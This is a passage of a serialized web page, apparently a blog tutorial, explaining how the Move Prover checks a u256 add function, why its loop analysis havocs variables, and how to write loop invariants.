execution.",{"type":23,"tag":24,"props":9055,"children":9056},{},[9057,9059,9064,9066,9071],{"type":28,"value":9058},"In the case of the ",{"type":23,"tag":56,"props":9060,"children":9062},{"className":9061},[],[9063],{"type":28,"value":8618},{"type":28,"value":9065}," function, we want to ensure that the return value is the sum of the 2 parameters. Note that because ",{"type":23,"tag":296,"props":9067,"children":9068},{},[9069],{"type":28,"value":9070},"MSL uses unbounded numbers",{"type":28,"value":9072},", we're able to very cleanly express this property without worrying about overflows.",{"type":23,"tag":494,"props":9074,"children":9076},{"code":9075,"language":1956,"meta":7,"className":1957,"style":7},"spec add {\n    aborts_if value_of_U256(a) + value_of_U256(b) >= P64 * P64 * P64 * P64;\n    ensures value_of_U256(result) == value_of_U256(a) + value_of_U256(b);\n}\n",[9077],{"type":23,"tag":56,"props":9078,"children":9079},{"__ignoreMap":7},[9080,9095,9174,9238],{"type":23,"tag":504,"props":9081,"children":9082},{"class":506,"line":507},[9083,9087,9091],{"type":23,"tag":504,"props":9084,"children":9085},{"style":529},[9086],{"type":28,"value":7258},{"type":23,"tag":504,"props":9088,"children":9089},{"style":529},[9090],{"type":28,"value":8563},{"type":23,"tag":504,"props":9092,"children":9093},{"style":523},[9094],{"type":28,"value":552},{"type":23,"tag":504,"props":9096,"children":9097},{"class":506,"line":540},[9098,9102,9106,9110,9114,9118,9122,9126,9130,9134,9138,9142,9146,9150,9154,9158,9162,9166,9170],{"type":23,"tag":504,"props":9099,"children":9100},{"style":529},[9101],{"type":28,"value":8883},{"type":23,"tag":504,"props":9103,"children":9104},{"style":517},[9105],{"type":28,"value":8684},{"type":23,"tag":504,"props":9107,"children":9108},{"style":523},[9109],{"type":28,"value":526},{"type":23,"tag":504,"props":9111,"children":9112},{"style":529},[9113],{"type":28,"value":92},{"type":23,"tag":504,"props":9115,"children":9116},{"style":523},[9117],{"type":28,"value":2064},{"type":23,"tag":504,"props":9119,"children":9120},{"style":598},[9121],{"type":28,"value":1642},{"type":23,"tag":504,"props":9123,"children":9124},{"style":517},[9125],{"type":28,"value":8684},{"type":23,"tag":504,"props":9127,"children":9128},{"style":523},[9129],{"type":28,"value":526},{"type":23,"tag":504,"props":9131,"children":9132},{"style":529},[9133],{"type":28,"value":2200},{"type":23,"tag":504,"props":9135,"children":9136},{"style":523},[9137],{"type":28,"value":2064},{"type":23,"tag":504,"props":9139,"children":9140},{"style":598},[9141],{"type":28,"value":8924},{"type":23,"tag":504,"props":9143,"children":9144},{"style":1012},[9145],{"type":28,"value":8640},{"type":23,"tag":504,"props":9147,"children":9148},{"style":598},[9149],{"type":28,"value":8797},{"type":23,"tag":504,"props":9151,"children":9152},{"style":1012},[9153],{"type":28,"value":8640},{"type":23,"tag":504,"props":9155,"children":9156},{"style":598},[9157],{"type":28,"value":8797},{"type":23,"tag":504,"props":9159,"children":9160},{"style":1012},[9161],{"type":28,"value":8640},{"type":23,"tag":504,"props":9163,"children":9164},{"style":598},[9165],{"type":28,"value":8797},{"type":23,"tag":504,"props":9167,"children":9168},{"style":1012},[9169],{"type":28,"value":8640},{"type":23,"tag":504,"props":9171,"children":9172},{"style":523},[9173],{"type":28,"value":866},{"type":23,"tag":504,"props":9175,"children":9176},{"class":506,"line":555},[9177,9182,9186,9190,9194,9198,9202,9206,9210,9214,9218,9222,9226,9230,9234],{"type":23,"tag":504,"props":9178,"children":9179},{"style":529},[9180],{"type":28,"value":9181},"    ensures",{"type":23,"tag":504,"props":9183,"children":9184},{"style":517},[9185],{"type":28,"value":8684},{"type":23,"tag":504,"props":9187,"children":9188},{"style":523},[9189],{"type":28,"value":526},{"type":23,"tag":504,"props":9191,"children":9192},{"style":529},[9193],{"type":28,"value":8065},{"type":23,"tag":504,"props":9195,"children":9196},{"style":523},[9197],{"type":28,"value":2064},{"type":23,"tag":504,"props":9199,"children":9200},{"style":598},[9201],{"type":28,"value":7559},{"type":23,"tag":504,"props":9203,"children":9204},{"style":517},[9205],{"type":28,"value":8684},{"type":23,"tag":504,"props":9207,"children":9208},{"style":523},[9209],{"type":28,"value":526},{"type":23,"tag":504,"props":9211,"children":9212},{"style":529},[9213],{"type":28,"value":92},{"type":23,"tag":504,"props":9215,"children":9216},{"style":523},[9217],{"type":28,"value":2064},{"type":23,"tag":504,"props":9219,"children":9220},{"style":598},[9221],{"type":28,"value":1642},{"type":23,"tag":504,"props":9223,"children":9224},{"style":517},[9225],{"type":28,"value":8684},{"type":23,"tag":504,"props":9227,"children":9228},{"style":523},[9229],{"type":28,"value":526},{"type":23,"tag":504,"props":9231,"children":9232},{"style":529},[9233],{"type":28,"value":2200},{"type":23,"tag":504,"props":9235,"children":9236},{"style":523},[9237],{"type":28,"value":630},{"type":23,"tag":504,"props":9239,"children":9240},{"class":506,"line":633},[9241],{"type":23,"tag":504,"props":9242,"children":9243},{"style":523},[9244],{"type":28,"value":884},{"type":23,"tag":24,"props":9246,"children":9247},{},[9248],{"type":28,"value":9249},"Note that because Move specification functions are written in MSL, the numbers are unbounded and we can define the expression without risk of overflow.",{"type":23,"tag":24,"props":9251,"children":9252},{},[9253],{"type":28,"value":9254},"Let's try to prove the library with the specifications from above:",{"type":23,"tag":494,"props":9256,"children":9258},{"code":9257,"language":3223,"meta":7,"className":3224,"style":7},"$ move prove\n",[9259],{"type":23,"tag":56,"props":9260,"children":9261},{"__ignoreMap":7},[9262],{"type":23,"tag":504,"props":9263,"children":9264},{"class":506,"line":507},[9265,9270,9275],{"type":23,"tag":504,"props":9266,"children":9267},{"style":517},[9268],{"type":28,"value":9269},"$",{"type":23,"tag":504,"props":9271,"children":9272},{"style":622},[9273],{"type":28,"value":9274}," move",{"type":23,"tag":504,"props":9276,"children":9277},{"style":622},[9278],{"type":28,"value":9279}," prove\n",{"type":23,"tag":24,"props":9281,"children":9282},{},[9283],{"type":28,"value":9284},"It outputs the following error information:",{"type":23,"tag":494,"props":9286,"children":9288},{"code":9287,"language":3223,"meta":7,"className":3224,"style":7},"[...]\n\nerror: abort not covered by any of the `aborts_if` clauses\n╭     spec add {\n|         aborts_if value_of_U256(a) + value_of_U256(b) >= P64 * P64 * P64 * P64;\n|         ensures value_of_U256(result) == value_of_U256(a) + value_of_U256(b);\n|     }\n╰─────^\n\n[...]\n\n at ./sources/u256.move:316: add\n enter loop, variable(s) carry, i, ret havocked and reassigned\n     carry = 54\n     i = 3792\n     ret = u256.U256{v0 = 26418, v1 = 27938, v2 = 6900, v3 = 1999}\n at ./sources/u256.move:346: add\n     ABORTED\n\nFAILURE proving 1 modules from package `u256` in 9.143s\n{\n    \"Error\": \"Move Prover failed: exiting with verification errors\"\n}\n",[9289],{"type":23,"tag":56,"props":9290,"children":9291},{"__ignoreMap":7},[9292,9300,9307,9369,9390,9480,9548,9560,9568,9575,9582,9589,9607,9668,9685,9702,9774,9790,9798,9805,9855,9863,9880],{"type":23,"tag":504,"props":9293,"children":9294},{"class":506,"line":507},[9295],{"type":23,"tag":504,"props":9296,"children":9297},{"style":523},[9298],{"type":28,"value":9299},"[...]\n",{"type":23,"tag":504,"props":9301,"children":9302},{"class":506,"line":540},[9303],{"type":23,"tag":504,"props":9304,"children":9305},{"emptyLinePlaceholder":16},[9306],{"type":28,"value":1038},{"type":23,"tag":504,"props":9308,"children":9309},{"class":506,"line":555},[9310,9315,9320,9325,9330,9335,9340,9345,9350,9355,9359,9364],{"type":23,"tag":504,"props":9311,"children":9312},{"style":517},[9313],{"type":28,"value":9314},"error:",{"type":23,"tag":504,"props":9316,"children":9317},{"style":622},[9318],{"type":28,"value":9319}," abort",{"type":23,"tag":504,"props":9321,"children":9322},{"style":622},[9323],{"type":28,"value":9324}," not",{"type":23,"tag":504,"props":9326,"children":9327},{"style":622},[9328],{"type":28,"value":9329}," covered",{"type":23,"tag":504,"props":9331,"children":9332},{"style":622},[9333],{"type":28,"value":9334}," by",{"type":23,"tag":504,"props":9336,"children":9337},{"style":622},[9338],{"type":28,"value":9339}," any",{"type":23,"tag":504,"props":9341,"children":9342},{"style":622},[9343],{"type":28,"value":9344}," of",{"type":23,"tag":504,"props":9346,"children":9347},{"style":622},[9348],{"type":28,"value":9349}," the",{"type":23,"tag":504,"props":9351,"children":9352},{"style":622},[9353],{"type":28,"value":9354}," `",{"type":23,"tag":504,"props":9356,"children":9357},{"style":517},[9358],{"type":28,"value":7308},{"type":23,"tag":504,"props":9360,"children":9361},{"style":622},[9362],{"type":28,"value":9363},"`",{"type":23,"tag":504,"props":9365,"children":9366},{"style":517},[9367],{"type":28,"value":9368}," clauses\n",{"type":23,"tag":504,"props":9370,"children":9371},{"class":506,"line":633},[9372,9377,9382,9386],{"type":23,"tag":504,"props":9373,"children":9374},{"style":517},[9375],{"type":28,"value":9376},"╭",{"type":23,"tag":504,"props":9378,"children":9379},{"style":622},[9380],{"type":28,"value":9381},"     spec",{"type":23,"tag":504,"props":9383,"children":9384},{"style":622},[9385],{"type":28,"value":8563},{"type":23,"tag":504,"props":9387,"children":9388},{"style":622},[9389],{"type":28,"value":552},{"type":23,"tag":504,"props":9391,"children":9392},{"class":506,"line":687},[9393,9398,9403,9407,9411,9415,9419,9423,9427,9431,9435,9439,9444,9448,9452,9456,9460,9464,9468,9472,9476],{"type":23,"tag":504,"props":9394,"children":9395},{"style":598},[9396],{"type":28,"value":9397},"|",{"type":23,"tag":504,"props":9399,"children":9400},{"style":517},[9401],{"type":28,"value":9402},"         aborts_if",{"type":23,"tag":504,"props":9404,"children":9405},{"style":622},[9406],{"type":28,"value":8684},{"type":23,"tag":504,"props":9408,"children":9409},{"style":523},[9410],{"type":28,"value":526},{"type":23,"tag":504,"props":9412,"children":9413},{"style":517},[9414],{"type":28,"value":92},{"type":23,"tag":504,"props":9416,"children":9417},{"style":523},[9418],{"type":28,"value":2064},{"type":23,"tag":504,"props":9420,"children":9421},{"style":622},[9422],{"type":28,"value":1642},{"type":23,"tag":504,"props":9424,"children":9425},{"style":622},[9426],{"type":28,"value":8684},{"type":23,"tag":504,"props":9428,"children":9429},{"style":523},[9430],{"type":28,"value":526},{"type":23,"tag":504,"props":9432,"children":9433},{"style":517},[9434],{"type":28,"value":2200},{"type":23,"tag":504,"props":9436,"children":9437},{"style":523},[9438],{"type":28,"value":2064},{"type":23,"tag":504,"props":9440,"children":9441},{"style":598},[9442],{"type":28,"value":9443},">",{"type":23,"tag":504,"props":9445,"children":9446},{"style":622},[9447],{"type":28,"value":601},{"type":23,"tag":504,"props":9449,"children":9450},{"style":622},[9451],{"type":28,"value":8640},{"type":23,"tag":504,"props":9453,"children":9454},{"style":511},[9455],{"type":28,"value":8797},{"type":23,"tag":504,"props":9457,"children":9458},{"style":622},[9459],{"type":28,"value":8640},{"type":23,"tag":504,"props":9461,"children":9462},{"style":511},[9463],{"type":28,"value":8797},{"type":23,"tag":504,"props":9465,"children":9466},{"style":622},[9467],{"type":28,"value":8640},{"type":23,"tag":504,"props":9469,"children":9470},{"style":511},[9471],{"type":28,"value":8797},{"type":23,"tag":504,"props":9473,"children":9474},{"style":622},[9475],{"type":28,"value":8640},{"type":23,"tag":504,"props":9477,"children":9478},{"style":523},[9479],{"type":28,"value":866},{"type":23,"tag":504,"props":9481,"children":9482},{"class":506,"line":736},[9483,9487,9492,9496,9500,9504,9508,9512,9516,9520,9524,9528,9532,9536,9540,9544],{"type":23,"tag":504,"props":9484,"children":9485},{"style":598},[9486],{"type":28,"value":9397},{"type":23,"tag":504,"props":9488,"children":9489},{"style":517},[9490],{"type":28,"value":9491},"         ensures",{"type":23,"tag":504,"props":9493,"children":9494},{"style":622},[9495],{"type":28,"value":8684},{"type":23,"tag":504,"props":9497,"children":9498},{"style":523},[9499],{"type":28,"value":526},{"type":23,"tag":504,"props":9501,"children":9502},{"style":517},[9503],{"type":28,"value":8065},{"type":23,"tag":504,"props":9505,"children":9506},{"style":523},[9507],{"type":28,"value":2064},{"type":23,"tag":504,"props":9509,"children":9510},{"style":622},[9511],{"type":28,"value":7559},{"type":23,"tag":504,"props":9513,"children":9514},{"style":622},[9515],{"type":28,"value":8684},{"type":23,"tag":504,"props":9517,"children":9518},{"style":523},[9519],{"type":28,"value":526},{"type":23,"tag":504,"props":9521,"children":9522},{"style":517},[9523],{"type":28,"value":92},{"type":23,"tag":504,"props":9525,"children":9526},{"style":523},[9527],{"type":28,"value":2064},{"type":23,"tag":504,"props":9529,"children":9530},{"style":622},[9531],{"type":28,"value":1642},{"type":23,"tag":504,"props":9533,"children":9534},{"style":622},[9535],{"type":28,"value":8684},{"type":23,"tag":504,"props":9537,"children":9538},{"style":523},[9539],{"type":28,"value":526},{"type":23,"tag":504,"props":9541,"children":9542},{"style":517},[9543],{"type":28,"value":2200},{"type":23,"tag":504,"props":9545,"children":9546},{"style":523},[9547],{"type":28,"value":630},{"type":23,"tag":504,"props":9549,"children":9550},{"class":506,"line":785},[9551,9555],{"type":23,"tag":504,"props":9552,"children":9553},{"style":598},[9554],{"type":28,"value":9397},{"type":23,"tag":504,"props":9556,"children":9557},{"style":523},[9558],{"type":28,"value":9559},"     }\n",{"type":23,"tag":504,"props":9561,"children":9562},{"class":506,"line":813},[9563],{"type":23,"tag":504,"props":9564,"children":9565},{"style":517},[9566],{"type":28,"value":9567},"╰─────^\n",{"type":23,"tag":504,"props":9569,"children":9570},{"class":506,"line":851},[9571],{"type":23,"tag":504,"props":9572,"children":9573},{"emptyLinePlaceholder":16},[9574],{"type":28,"value":1038},{"type":23,"tag":504,"props":9576,"children":9577},{"class":506,"line":869},[9578],{"type":23,"tag":504,"props":9579,"children":9580},{"style":523},[9581],{"type":28,"value":9299},{"type":23,"tag":504,"props":9583,"children":9584},{"class":506,"line":878},[9585],{"type":23,"tag":504,"props":9586,"children":9587},{"emptyLinePlaceholder":16},[9588],{"type":28,"value":1038},{"type":23,"tag":504,"props":9590,"children":9591},{"class":506,"line":1221},[9592,9597,9602],{"type":23,"tag":504,"props":9593,"children":9594},{"style":517},[9595],{"type":28,"value":9596}," at",{"type":23,"tag":504,"props":9598,"children":9599},{"style":622},[9600],{"type":28,"value":9601}," ./sources/u256.move:316:",{"type":23,"tag":504,"props":9603,"children":9604},{"style":622},[9605],{"type":28,"value":9606}," add\n",{"type":23,"tag":504,"props":9608,"children":9609},{"class":506,"line":1276},[9610,9615,9620,9625,9629,9634,9638,9643,9648,9653,9658,9663],{"type":23,"tag":504,"props":9611,"children":9612},{"style":517},[9613],{"type":28,"value":9614}," enter",{"type":23,"tag":504,"props":9616,"children":9617},{"style":622},[9618],{"type":28,"value":9619}," loop,",{"type":23,"tag":504,"props":9621,"children":9622},{"style":622},[9623],{"type":28,"value":9624}," variable",{"type":23,"tag":504,"props":9626,"children":9627},{"style":523},[9628],{"type":28,"value":526},{"type":23,"tag":504,"props":9630,"children":9631},{"style":517},[9632],{"type":28,"value":9633},"s",{"type":23,"tag":504,"props":9635,"children":9636},{"style":523},[9637],{"type":28,"value":2064},{"type":23,"tag":504,"props":9639,"children":9640},{"style":622},[9641],{"type":28,"value":9642},"carry,",{"type":23,"tag":504,"props":9644,"children":9645},{"style":622},[9646],{"type":28,"value":9647}," i,",{"type":23,"tag":504,"props":9649,"children":9650},{"style":622},[9651],{"type":28,"value":9652}," ret",{"type":23,"tag":504,"props":9654,"children":9655},{"style":622},[9656],{"type":28,"value":9657}," havocked",{"type":23,"tag":504,"props":9659,"children":9660},{"style":622},[9661],{"type":28,"value":9662}," and",{"type":23,"tag":504,"props":9664,"children":9665},{"style":622},[9666],{"type":28,"value":9667}," reassigned\n",{"type":23,"tag":504,"props":9669,"children":9670},{"class":506,"line":1285},[9671,9676,9680],{"type":23,"tag":504,"props":9672,"children":9673},{"style":517},[9674],{"type":28,"value":9675},"     carry",{"type":23,"tag":504,"props":9677,"children":9678},{"style":622},[9679],{"type":28,"value":648},{"type":23,"tag":504,"props":9681,"children":9682},{"style":1440},[9683],{"type":28,"value":9684}," 54\n",{"type":23,"tag":504,"props":9686,"children":9687},{"class":506,"line":1294},[9688,9693,9697],{"type":23,"tag":504,"props":9689,"children":9690},{"style":517},[9691],{"type":28,"value":9692},"     i",{"type":23,"tag":504,"props":9694,"children":9695},{"style":622},[9696],{"type":28,"value":648},{"type":23,"tag":504,"props":9698,"children":9699},{"style":1440},[9700],{"type":28,"value":9701}," 3792\n",{"type":23,"tag":504,"props":9703,"children":9704},{"class":506,"line":1302},[9705,9710,9714,9719,9723,9728,9733,9737,9742,9747,9751,9756,9761,9765,9770],{"type":23,"tag":504,"props":9706,"children":9707},{"style":517},[9708],{"type":28,"value":9709},"     ret",{"type":23,"tag":504,"props":9711,"children":9712},{"style":622},[9713],{"type":28,"value":648},{"type":23,"tag":504,"props":9715,"children":9716},{"style":622},[9717],{"type":28,"value":9718}," u256.U256{v0",{"type":23,"tag":504,"props":9720,"children":9721},{"style":622},[9722],{"type":28,"value":648},{"type":23,"tag":504,"props":9724,"children":9725},{"style":622},[9726],{"type":28,"value":9727}," 26418,",{"type":23,"tag":504,"props":9729,"children":9730},{"style":622},[9731],{"type":28,"value":9732}," v1",{"type":23,"tag":504,"props":9734,"children":9735},{"style":622},[9736],{"type":28,"value":648},{"type":23,"tag":504,"props":9738,"children":9739},{"style":622},[9740],{"type":28,"value":9741}," 27938,",{"type":23,"tag":504,"props":9743,"children":9744},{"style":622},[9745],{"type":28,"value":9746}," v2",{"type":23,"tag":504,"props":9748,"children":9749},{"style":622},[9750],{"type":28,"value":648},{"type":23,"tag":504,"props":9752,"children":9753},{"style":622},[9754],{"type":28,"value":9755}," 6900,",{"type":23,"tag":504,"props":9757,"children":9758},{"style":622},[9759],{"type":28,"value":9760}," v3",{"type":23,"tag":504,"props":9762,"children":9763},{"style":622},[9764],{"type":28,"value":648},{"type":23,"tag":504,"props":9766,"children":9767},{"style":1440},[9768],{"type":28,"value":9769}," 1999",{"type":23,"tag":504,"props":9771,"children":9772},{"style":622},[9773],{"type":28,"value":884},{"type":23,"tag":504,"props":9775,"children":9776},{"class":506,"line":1311},[9777,9781,9786],{"type":23,"tag":504,"props":9778,"children":9779},{"style":517},[9780],{"type":28,"value":9596},{"type":23,"tag":504,"props":9782,"children":9783},{"style":622},[9784],{"type":28,"value":9785}," ./sources/u256.move:346:",{"type":23,"tag":504,"props":9787,"children":9788},{"style":622},[9789],{"type":28,"value":9606},{"type":23,"tag":504,"props":9791,"children":9792},{"class":506,"line":1334},[9793],{"type":23,"tag":504,"props":9794,"children":9795},{"style":517},[9796],{"type":28,"value":9797},"     ABORTED\n",{"type":23,"tag":504,"props":9799,"children":9800},{"class":506,"line":1370},[9801],{"type":23,"tag":504,"props":9802,"children":9803},{"emptyLinePlaceholder":16},[9804],{"type":28,"value":1038},{"type":23,"tag":504,"props":9806,"children":9807},{"class":506,"line":1384},[9808,9813,9818,9822,9827,9832,9837,9841,9846,9850],{"type":23,"tag":504,"props":9809,"children":9810},{"style":517},[9811],{"type":28,"value":9812},"FAILURE",{"type":23,"tag":504,"props":9814,"children":9815},{"style":622},[9816],{"type":28,"value":9817}," proving",{"type":23,"tag":504,"props":9819,"children":9820},{"style":1440},[9821],{"type":28,"value":3504},{"type":23,"tag":504,"props":9823,"children":9824},{"style":622},[9825],{"type":28,"value":9826}," modules",{"type":23,"tag":504,"props":9828,"children":9829},{"style":622},[9830],{"type":28,"value":9831}," from",{"type":23,"tag":504,"props":9833,"children":9834},{"style":622},[9835],{"type":28,"value":9836}," package",{"type":23,"tag":504,"props":9838,"children":9839},{"style":622},[9840],{"type":28,"value":9354},{"type":23,"tag":504,"props":9842,"children":9843},{"style":517},[9844],{"type":28,"value":9845},"u256",{"type":23,"tag":504,"props":9847,"children":9848},{"style":622},[9849],{"type":28,"value":9363},{"type":23,"tag":504,"props":9851,"children":9852},{"style":523},[9853],{"type":28,"value":9854}," in 9.143s\n",{"type":23,"tag":504,"props":9856,"children":9857},{"class":506,"line":1392},[9858],{"type":23,"tag":504,"props":9859,"children":9860},{"style":523},[9861],{"type":28,"value":9862},"{\n",{"type":23,"tag":504,"props":9864,"children":9865},{"class":506,"line":1400},[9866,9871,9875],{"type":23,"tag":504,"props":9867,"children":9868},{"style":517},[9869],{"type":28,"value":9870},"    \"Error\"",{"type":23,"tag":504,"props":9872,"children":9873},{"style":517},[9874],{"type":28,"value":3472},{"type":23,"tag":504,"props":9876,"children":9877},{"style":622},[9878],{"type":28,"value":9879}," \"Move Prover failed: exiting with verification errors\"\n",{"type":23,"tag":504,"props":9881,"children":9882},{"class":506,"line":1422},[9883],{"type":23,"tag":504,"props":9884,"children":9885},{"style":523},[9886],{"type":28,"value":884},{"type":23,"tag":24,"props":9888,"children":9889},{},[9890,9892,9897],{"type":28,"value":9891},"The prover is telling us that proving failed because the abort was not covered by our ",{"type":23,"tag":56,"props":9893,"children":9895},{"className":9894},[],[9896],{"type":28,"value":7308},{"type":28,"value":9898}," clauses. But there is no other abort situation that we have to cover, right?",{"type":23,"tag":24,"props":9900,"children":9901},{},[9902,9904,9910],{"type":28,"value":9903},"If we keep reading the error output, we will encounter the somewhat cryptic message: ",{"type":23,"tag":56,"props":9905,"children":9907},{"className":9906},[],[9908],{"type":28,"value":9909},"ret havocked and reassigned",{"type":28,"value":320},{"type":23,"tag":24,"props":9912,"children":9913},{},[9914],{"type":28,"value":9915},"What does this mean?",{"type":23,"tag":24,"props":9917,"children":9918},{},[9919,9921,9928],{"type":28,"value":9920},"By diving into the Move Prover source, we find a ",{"type":23,"tag":92,"props":9922,"children":9925},{"href":9923,"rel":9924},"https://github.com/move-language/move/blob/e0dafc5cf3efe4c4e61411f10cdf0f379a36673c/language/move-prover/bytecode/src/loop_analysis.rs#L94",[96],[9926],{"type":28,"value":9927},"likely suspect",{"type":28,"value":9929},". The prover attempts to prove all loops with induction!",{"type":23,"tag":24,"props":9931,"children":9932},{},[9933],{"type":28,"value":9934},"More formally, it will translate the loop into two key steps, following the classic steps of a proof by induction",{"type":23,"tag":41,"props":9936,"children":9937},{},[9938,9943],{"type":23,"tag":45,"props":9939,"children":9940},{},[9941],{"type":28,"value":9942},"Base Case: Asserting the loop invariant holds at the start of loop execution",{"type":23,"tag":45,"props":9944,"children":9945},{},[9946],{"type":28,"value":9947},"Inductive Step: Assume the invariant, execute the loop body, and assert that the invariant still holds",{"type":23,"tag":24,"props":9949,"children":9950},{},[9951,9953,9958,9960,9966,9967,9973,9974,9979,9981,9986],{"type":28,"value":9952},"The loop prover will also ",{"type":23,"tag":296,"props":9954,"children":9955},{},[9956],{"type":28,"value":9957},"havoc, or assign random values to, all variables written to inside the loop",{"type":28,"value":9959},". Going back to the log message, this implies that the variables ",{"type":23,"tag":56,"props":9961,"children":9963},{"className":9962},[],[9964],{"type":28,"value":9965},"carry",{"type":28,"value":576},{"type":23,"tag":56,"props":9968,"children":9970},{"className":9969},[],[9971],{"type":28,"value":9972},"ret",{"type":28,"value":430},{"type":23,"tag":56,"props":9975,"children":9977},{"className":9976},[],[9978],{"type":28,"value":2716},{"type":28,"value":9980}," have been havocked, or assigned random values. This also explains why the input and output of ",{"type":23,"tag":56,"props":9982,"children":9984},{"className":9983},[],[9985],{"type":28,"value":8618},{"type":28,"value":9987}," makes no sense.",{"type":23,"tag":24,"props":9989,"children":9990},{},[9991],{"type":28,"value":9992},"More concretely, the loop analysis translates into the following steps.",{"type":23,"tag":41,"props":9994,"children":9995},{},[9996,10001,10006,10011,10016,10021],{"type":23,"tag":45,"props":9997,"children":9998},{},[9999],{"type":28,"value":10000},"Assert the loop invariant",{"type":23,"tag":45,"props":10002,"children":10003},{},[10004],{"type":28,"value":10005},"Havoc all modified variables",{"type":23,"tag":45,"props":10007,"children":10008},{},[10009],{"type":28,"value":10010},"Assume the loop invariant",{"type":23,"tag":45,"props":10012,"children":10013},{},[10014],{"type":28,"value":10015},"Assume the loop guard (the code inside the while condition)",{"type":23,"tag":45,"props":10017,"children":10018},{},[10019],{"type":28,"value":10020},"Run the loop body",{"type":23,"tag":45,"props":10022,"children":10023},{},[10024],{"type":28,"value":10000},{"type":23,"tag":24,"props":10026,"children":10027},{},[10028],{"type":28,"value":10029},"There are two approaches to dealing with loops.",{"type":23,"tag":24,"props":10031,"children":10032},{},[10033],{"type":28,"value":10034},"The first would be to specify a loop invariant.",{"type":23,"tag":24,"props":10036,"children":10037},{},[10038,10040,10047],{"type":28,"value":10039},"In order to specify the loop invariant, we need to use some special syntax, as we explored briefly in our ",{"type":23,"tag":92,"props":10041,"children":10044},{"href":10042,"rel":10043},"https://osec.io/blog/tutorials/2022-09-06-move-introduction/",[96],[10045],{"type":28,"value":10046},"previous post",{"type":28,"value":320},{"type":23,"tag":494,"props":10049,"children":10051},{"code":10050,"language":1956,"meta":7,"className":1957,"style":7},"  while ({\n      spec {\n          invariant len(amounts_times_coins) == i;\n          invariant i \u003C= n_coins;\n          invariant forall j in 0..i: amounts_times_coins[j] == input[j] * n_coins;\n      };\n      (i \u003C n_coins)\n  }) {\n      vector::push_back(\n          &mut amounts_times_coins,\n          (*vector::borrow(&input, (i as u64)) as u128) * (n_coins as u128)\n      );\n      i = i + 1;\n  };\n",[10052],{"type":23,"tag":56,"props":10053,"children":10054},{"__ignoreMap":7},[10055,10067,10078,10114,10137,10220,10227,10251,10259,10279,10299,10390,10397,10425],{"type":23,"tag":504,"props":10056,"children":10057},{"class":506,"line":507},[10058,10063],{"type":23,"tag":504,"props":10059,"children":10060},{"style":544},[10061],{"type":28,"value":10062},"  while",{"type":23,"tag":504,"props":10064,"children":10065},{"style":523},[10066],{"type":28,"value":7516},{"type":23,"tag":504,"props":10068,"children":10069},{"class":506,"line":540},[10070,10074],{"type":23,"tag":504,"props":10071,"children":10072},{"style":529},[10073],{"type":28,"value":7912},{"type":23,"tag":504,"props":10075,"children":10076},{"style":523},[10077],{"type":28,"value":552},{"type":23,"tag":504,"props":10079,"children":10080},{"class":506,"line":555},[10081,10086,10090,10094,10098,10102,10106,10110],{"type":23,"tag":504,"props":10082,"children":10083},{"style":529},[10084],{"type":28,"value":10085},"          invariant",{"type":23,"tag":504,"props":10087,"children":10088},{"style":517},[10089],{"type":28,"value":7541},{"type":23,"tag":504,"props":10091,"children":10092},{"style":523},[10093],{"type":28,"value":526},{"type":23,"tag":504,"props":10095,"children":10096},{"style":529},[10097],{"type":28,"value":7550},{"type":23,"tag":504,"props":10099,"children":10100},{"style":523},[10101],{"type":28,"value":2064},{"type":23,"tag":504,"props":10103,"children":10104},{"style":598},[10105],{"type":28,"value":7559},{"type":23,"tag":504,"props":10107,"children":10108},{"style":529},[10109],{"type":28,"value":2374},{"type":23,"tag":504,"props":10111,"children":10112},{"style":523},[10113],{"type":28,"value":866},{"type":23,"tag":504,"props":10115,"children":10116},{"class":506,"line":633},[10117,10121,10125,10129,10133],{"type":23,"tag":504,"props":10118,"children":10119},{"style":529},[10120],{"type":28,"value":10085},{"type":23,"tag":504,"props":10122,"children":10123},{"style":529},[10124],{"type":28,"value":2374},{"type":23,"tag":504,"props":10126,"children":10127},{"style":598},[10128],{"type":28,"value":7180},{"type":23,"tag":504,"props":10130,"children":10131},{"style":529},[10132],{"type":28,"value":7470},{"type":23,"tag":504,"props":10134,"children":10135},{"style":523},[10136],{"type":28,"value":866},{"type":23,"tag":504,"props":10138,"children":10139},{"class":506,"line":687},[10140,10144,10148,10152,10156,10160,10164,10168,10172,10176,10180,10184,10188,10192,10196,10200,10204,10208,10212,10216],{"type":23,"tag":504,"props":10141,"children":10142},{"style":529},[10143],{"type":28,"value":10085},{"type":23,"tag":504,"props":10145,"children":10146},{"style":529},[10147],{"type":28,"value":7602},{"type":23,"tag":504,"props":10149,"children":10150},{"style":529},[10151],{"type":28,"value":7607},{"type":23,"tag":504,"props":10153,"children":10154},{"style":511},[10155],{"type":28,"value":2018},{"type":23,"tag":504,"props":10157,"children":10158},{"style":1440},[10159],{"type":28,"value":2023},{"type":23,"tag":504,"props":10161,"children":10162},{"style":598},[10163],{"type":28,"value":2028},{"type":23,"tag":504,"props":10165,"children":10166},{"style":529},[10167],{"type":28,"value":2716},{"type":23,"tag":504,"props":10169,"children":10170},{"style":598},[10171],{"type":28,"value":3472},{"type":23,"tag":504,"props":10173,"children":10174},{"style":529},[10175],{"type":28,"value":7405},{"type":23,"tag":504,"props":10177,"children":10178},{"style":523},[10179],{"type":28,"value":2711},{"type":23,"tag":504,"props":10181,"children":10182},{"style":529},[10183],{"type":28,"value":7640},{"type":23,"tag":504,"props":10185,"children":10186},{"style":523},[10187],{"type":28,"value":595},{"type":23,"tag":504,"props":10189,"children":10190},{"style":598},[10191],{"type":28,"value":7559},{"type":23,"tag":504,"props":10193,"children":10194},{"style":529},[10195],{"type":28,"value":7653},{"type":23,"tag":504,"props":10197,"children":10198},{"style":523},[10199],{"type":28,"value":2711},{"type":23,"tag":504,"props":10201,"children":10202},{"style":529},[10203],{"type":28,"value":7640},{"type":23,"tag":504,"props":10205,"children":10206},{"style":523},[10207],{"type":28,"value":595},{"type":23,"tag":504,"props":10209,"children":10210},{"style":598},[10211],{"type":28,"value":3552},{"type":23,"tag":504,"props":10213,"children":10214},{"style":529},[10215],{"type":28,"value":7470},{"type":23,"tag":504,"props":10217,"children":10218},{"style":523},[10219],{"type":28,"value":866},{"type":23,"tag":504,"props":10221,"children":10222},{"class":506,"line":736},[10223],{"type":23,"tag":504,"props":10224,"children":10225},{"style":523},[10226],{"type":28,"value":7904},{"type":23,"tag":504,"props":10228,"children":10229},{"class":506,"line":785},[10230,10235,10239,10243,10247],{"type":23,"tag":504,"props":10231,"children":10232},{"style":523},[10233],{"type":28,"value":10234},"      